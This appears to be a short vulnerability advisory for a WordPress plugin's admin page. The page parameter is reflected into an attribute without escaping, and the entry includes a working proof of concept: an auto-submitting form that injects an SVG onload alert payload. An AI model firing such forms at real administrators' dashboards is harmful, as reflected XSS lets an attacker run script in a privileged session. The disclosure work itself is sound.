The plugin does not sanitise and escape the page parameter before outputting back in an attribute in an admin dashboard, leading to a Reflected Cross-Site Scripting
<form action="https://example.com/wp-admin/admin.php?page=fast-tagger" method="post" name="form1">
<input type="text" name="page" value='"><svg/onload=alert(/xss/)>'>
<button type="submit"></button>
</form>
<script>
document.form1.submit();
</script>